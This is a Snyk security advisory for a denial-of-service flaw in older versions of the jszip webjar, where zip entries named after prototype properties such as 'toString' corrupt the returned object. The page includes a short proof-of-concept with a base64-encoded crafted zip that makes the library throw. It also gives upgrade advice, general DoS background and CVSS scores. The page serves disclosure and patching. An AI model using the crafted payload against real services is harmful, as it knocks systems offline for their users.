Denial of Service (DoS) Affecting org.webjars:jszip package, versions [,3.7.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.18% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGWEBJARS-1251499
  • published 25 Jul 2021
  • disclosed 18 Apr 2021
  • credit Dave Holoway

How to fix?

Upgrade org.webjars:jszip to version 3.7.1 or higher.

Overview

org.webjars:jszip is a Create, read and edit .zip files with JavaScript http://stuartk.com/jszip

Affected versions of this package are vulnerable to Denial of Service (DoS). Crafting a new zip file with filenames set to Object prototype values (e.g __proto__, toString, etc) results in a returned object with a modified prototype instance.

PoC

const jszip = require('jszip');

async function loadZip() { // this is a raw buffer of demo.zip containing 2 empty files: // - "file.txt" // - "toString" const demoZip = Buffer.from('UEsDBBQACAAIANS8kVIAAAAAAAAAAAAAAAAIACAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADDvJFSAAAAAAAAAAAAAAAACAAgAGZpbGUudHh0VVQNAAdPY3tg4FJ7YE9je2B1eAsAAQT1AQAABBQAAAADAFBLBwgAAAAAAgAAAAAAAABQSwECFAMUAAgACADUvJFSAAAAAAIAAAAAAAAACAAgAAAAAAAAAAAApIEAAAAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAFBLAQIUAxQACAAIAMO8kVIAAAAAAgAAAAAAAAAIACAAAAAAAAAAAACkgVgAAABmaWxlLnR4dFVUDQAHT2N7YOBSe2BPY3tgdXgLAAEE9QEAAAQUAAAAUEsFBgAAAAACAAIArAAAALAAAAAAAA==', 'base64');

const zip = await jszip.loadAsync(demoZip); zip.files.toString(); // this will throw return zip; } loadZip();

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

version 3.1
Expand this section

Snyk

5.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    Low
Expand this section

NVD

5.3 medium